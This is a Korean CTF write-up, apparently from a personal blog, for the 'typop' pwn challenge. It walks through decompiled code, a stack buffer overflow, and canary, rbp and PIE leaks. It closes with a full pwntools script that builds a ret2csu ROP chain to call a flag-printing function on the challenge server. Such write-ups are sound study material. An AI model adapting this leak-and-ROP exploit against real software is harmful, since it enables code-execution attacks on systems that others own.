1. intro
bof + rop + rcu가 복합적으로 이루어져 공부하기 좋은 문제였다.
2. code
2.1. code
2.1.2. main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
while ( puts("Do you want to complete a survey?") && getchar() == 'y' )
{
getchar();
getFeedback();
}
return 0;
}
2.1.2. getFeedback
unsigned __int64 getFeedback()
{
__int64 buf; // [rsp+Eh] [rbp-12h] BYREF
__int16 v2; // [rsp+16h] [rbp-Ah]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
buf = 0LL;
v2 = 0;
puts("Do you like ctf?");
read(0, &buf, 30uLL);
printf("You said: %s\n", &buf);
if ( buf == 'y' )
printf("That's great! ");
else
printf("Aww :( ");
puts("Can you provide some extra feedback?");
read(0, &buf, 90uLL);
return __readfsqword(0x28u) ^ v3;
}
2.1.3. win
unsigned __int64 __fastcall win(char a1, char a2, char a3)
{
FILE *stream; // [rsp+18h] [rbp-58h]
_BYTE filename[10]; // [rsp+26h] [rbp-4Ah] BYREF
char s[8]; // [rsp+30h] [rbp-40h] BYREF
__int64 v7; // [rsp+38h] [rbp-38h]
__int64 v8; // [rsp+40h] [rbp-30h]
__int64 v9; // [rsp+48h] [rbp-28h]
__int64 v10; // [rsp+50h] [rbp-20h]
__int64 v11; // [rsp+58h] [rbp-18h]
unsigned __int64 v12; // [rsp+68h] [rbp-8h]
v12 = __readfsqword(0x28u);
filename[9] = 0;
filename[0] = a1;
filename[1] = a2;
filename[2] = a3;
strcpy(&filename[3], "g.txt");
stream = fopen(filename, "r");
if ( !stream )
{
puts("Error opening flag file.");
exit(1);
}
*s = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
fgets(s, 32, stream);
puts(s);
return __readfsqword(0x28u) ^ v12;
}
2.2. 분석
2.2.1. main
y가 입력되는 동안 지속적으로 getFeedback 함수를 실행시켜준다.
2.2.2. getFeedback
8 bytes의 buf 변수에 30 bytes의 값을 입력 받고, 해당 값을 출력해준 뒤
다시 한번 buf 변수에 90 bytes의 값을 입력 받고 종료한다.
2.2.3. win
(사실 처음에 이 함수의 존재를 몰랐다.)
(Actucally, I didn't recognized this function at first.)
넘겨받은 3개의 인자를 filename에 넣은 뒤 이를 g.txt 문자열과 합쳐서 해당 파일의 내용을 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
buffer overflow가 발생하며, 보호기법으로 인해 rop을 시도할 수 있다.
3.2. 공격 준비
보호기법부터 확인했는데, 죄다 걸려있었다.
┌[WyV3rN]-(typop/attachments)-
└> checksec chall
[*] '/mnt/d/hack/binary/ctf/typop/attachments/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
우선은 canary가 걸려있기에 leak이 가능한지 확인하였고,
첫 30 bytes를 입력 받을 때 "a" 를 삽입하였더니 스택은 아래와 같은 모양을 가지고 있었다.
0x00007fff97561030│+0x0000: 0x00007fab9aa68040 → 0x00007fab9aa692e0 → 0x00005641eb1e7000 → jg 0x5641eb1e7047 ← $rsp
0x00007fff97561038│+0x0008: 0x0a617fab9a88be16
0x00007fff97561040│+0x0010: 0x0000000000000000
0x00007fff97561048│+0x0018: 0xd6f3d0ac23717300
0x00007fff97561050│+0x0020: 0x00007fff97561060 → 0x0000000000000001 ← $rbp
0x00007fff97561058│+0x0028: 0x00005641eb1e8447 → <main+55> lea 0xc3a(%rip), %rdi # 0x5641eb1e9088
그래서 11 bytes가 입력되면 canary 값은 가지고올 수 있다.
canary와 더불어 rbp 값이 붙어있기에 이 값까지 가져올 수 있다.
또한 다시 한번 getFeedback 함수로 돌아왔을 때 buf + canary + rbp까지 덮어버리면
main 함수 address 또한 leak이 가능하다.
main 함수는 code 영역에 있기에 csu 함수 주소를 구할 수 있으며,
이를 통해 return to csu로 win 함수에 사용할 인자를 넣어둔 뒤 win 함수로 return 하였다.
4. exploit
from pwn import *
#context.log_level='debug'
#p = process('./chall')
p = remote('typop.chal.idek.team',1337)
p.sendlineafter(b'survey?',b'y')
#1st payload, leak for canary, rbp
pay = b'A' * 11
p.sendafter(b'ctf?',pay)
p.recvuntil(pay)
leak = p.recvuntil(b'\n')
canary = u64(leak[:7].rjust(8,b'\x00'))
rbp = u64(leak[7:-1].ljust(8,b'\x00'))
print(leak)
print(b'canary = ',hex(canary))
print(b'rbp = ',hex(rbp))
pay = b'B' * 10
pay += p64(canary)
p.sendafter(b'feedback?',pay)
#2rd payload, leak main func. addr.
p.sendlineafter(b'survey?',b'y')
pay = b'C' * (10 + 8 + 8)
p.sendafter(b'ctf?',pay)
p.recvuntil(pay)
addr = u64(p.recvline()[-7:-1].ljust(8,b'\x00'))
print(b'leak addr = ',hex(addr))
data_base = addr - 0x1447
print(b'data_base addr = ',hex(data_base))
pay = b'A' * 10
pay += p64(canary)
p.sendafter(b'back?', pay)
#3rd. rop chainning and return to win addr
p.sendlineafter(b'survey?',b'y')
p.sendlineafter(b'ctf?',b'a')
pay = b'A' * 10
pay += p64(canary)
pay += p64(data_base + 0x1249)
pay += p64(addr + 0x83)
pay += p64(0)
pay += p64(0)
pay += p64(ord('f'))
pay += p64(ord('l'))
pay += p64(ord('a'))
pay += p64(rbp-0x10)
pay += p64(data_base + 0x14b0)
p.sendafter(b'back?', pay)
p.interactive()
셀도 딸 수 있을 것 같은데... 귀찮아서 포기 ㅋ
'CTF > Solved' 카테고리의 다른 글
DiceCTF 2023 - pwn/bop (0) | 2023.02.06 |
---|---|
KnightCTF 2023 - KrackMe 1.0 (0) | 2023.01.23 |
IRIS CTF - ret2libm (0) | 2023.01.10 |
Hackappatoi CTF 2022 - [PWN] heap baby v2 (0) | 2022.12.11 |
Hackappatoi CTF 2022 - [PWN] Endless Queue (0) | 2022.12.10 |